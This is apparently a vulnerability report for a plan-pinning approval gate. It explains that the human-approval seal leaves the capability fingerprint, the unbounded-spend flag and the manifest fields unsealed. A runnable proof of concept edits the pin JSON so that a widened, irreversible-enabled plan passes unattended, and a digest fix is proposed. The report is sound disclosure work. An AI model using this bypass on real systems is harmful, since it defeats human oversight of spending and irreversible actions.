Component: primitives/plan_pin.py — _human_seal_digest() / human_approved(), as consumed by the unattended-run gate in routes/dispatch_workflow.py (the plan-pin check at ~L896 and the seal check at ~L996).
The defect.
116992 added a station Ed25519 human_seal over a pin's governance fields so that a locally-edited pin JSON is tamper-evident — the fix's own comment names the threat as "an attacker who edited the local pin JSON". But the sealed digest covers only six fields:
def _human_seal_digest(rec):
core = {
"workflow_id": rec.get("workflow_id"),
"plan_root": rec.get("plan_root"),
"approved_by": rec.get("approved_by"),
"approved_requires": rec.get("approved_requires"),
"approved_spend_cents": rec.get("approved_spend_cents"),
"migrated_without_review": bool(rec.get("migrated_without_review")),
}
return "sha256:" + hashlib.sha256(json.dumps(core, sort_keys=True, ...)).hexdigest()
Three OTHER pin fields that check() trusts for security decisions are NOT in that digest:
- approved_caps_fingerprint (046be0) — check() L328-337 holds the run when the plan's capability envelope (capabilities.max_spend_cents / allow_irreversible / providers / egress_hosts) no longer matches this fingerprint.
- approved_spend_unbounded — check() L340 holds an unbounded-spend run unless this is set.
- manifest_facets (#310) — check() L311-321 holds the run when an installed module widened its governed surface.
Because those three are unsealed, an attacker with the exact pin-edit capability the seal was built to stop can flip them and both gates still pass:
- repoint approved_caps_fingerprint to the widened envelope → check() L331 sees current==pinned → passes;
- set approved_spend_unbounded=true → check() L340 no longer holds;
while human_approved() still returns True — the six sealed fields (plan_root, approved_by, approved_spend_cents, …) are untouched, so the Ed25519 seal verifies. The scheduler gate then runs a require_human plan unattended with a WIDER capability envelope (e.g. allow_irreversible flipped False→True, or egress_hosts widened) than the human ever saw. The seal froze WHO approved and the plan SHAPE, but not the later-added caps / manifest / unbounded gates the run is actually judged against.
Reproduction (standalone; run with workbench/ on sys.path, against a station that has a signing seed).
import os, json, tempfile
from primitives import plan_pin as pp
ws = tempfile.mkdtemp(); wf = "payroll_run"
# 1) human approves a bounded plan: allow_irreversible=False
approved = {"workflow_root": "root_ABC", "merkle_version": 1,
"blast_radius": {"spend_cents": 5000, "spend_unbounded": False, "requires": "require_human"},
"capabilities": {"max_spend_cents": 5000, "allow_irreversible": False, "providers": ["stripe"]}}
rec = pp.pin(ws, wf, approved, approved_by="human:operator")
assert pp.human_approved(rec) is True
# 2) a WIDENED plan: same root, same spend, allow_irreversible flipped True
widened = {"workflow_root": "root_ABC", "merkle_version": 1,
"blast_radius": {"spend_cents": 5000, "spend_unbounded": False, "requires": "require_human"},
"capabilities": {"max_spend_cents": 5000, "allow_irreversible": True, "providers": ["stripe"]}}
ok, why, _ = pp.check(ws, wf, widened)
assert ok is False # gate works: "the capability envelope ... has changed"
# 3) attacker edits the pin JSON — repoint the UNSEALED caps fingerprint
p = pp.path_for(ws, wf); r = json.load(open(p))
r["approved_caps_fingerprint"] = pp._caps_fingerprint(widened["capabilities"])
r["approved_spend_unbounded"] = True
json.dump(r, open(p, "w"), sort_keys=True)
rec2 = pp.load(ws, wf)
assert pp.human_approved(rec2) is True # seal STILL verifies (fields not sealed)
ok2, _, _ = pp.check(ws, wf, widened)
assert ok2 is True # BYPASS — widened plan now "matches the approved plan"
Expected output: the two post-tamper asserts pass — human_approved stays True and check() flips from False to True for the widened (irreversible-enabled) plan.
Scope. Precondition is the same one 116992's seal was introduced to defend: the ability to write the local pin JSON (WS/plan_pins/<wf>.json). The seal makes plan_root / approved_by / approved_spend_cents tamper-evident; this reports that it does NOT make the caps / spend-unbounded / manifest fields tamper-evident, so the 046be0 and #310 gates are bypassable by the very actor the seal assumes. The direct spend-CENTS ceiling (L345-350, over the sealed approved_spend_cents) still holds; the widened surface is the capability envelope and the unbounded flag.
Fix. Extend the sealed digest to the whole governance envelope the gate evaluates, so a tamper of any gated field invalidates the seal:
def _human_seal_digest(rec):
core = {
"workflow_id": rec.get("workflow_id"),
"plan_root": rec.get("plan_root"),
"approved_by": rec.get("approved_by"),
"approved_requires": rec.get("approved_requires"),
"approved_spend_cents": rec.get("approved_spend_cents"),
"migrated_without_review": bool(rec.get("migrated_without_review")),
+ "approved_spend_unbounded": bool(rec.get("approved_spend_unbounded")),
+ "approved_caps_fingerprint": rec.get("approved_caps_fingerprint"),
+ "manifest_facets": rec.get("manifest_facets"),
}
return "sha256:" + hashlib.sha256(
json.dumps(core, sort_keys=True, separators=(",", ":")).encode("utf-8")).hexdigest()
(Old pins re-seal on their next re-approval — same version-gated migration the 046be0/#310 fields already use.)
Classification: CWE-345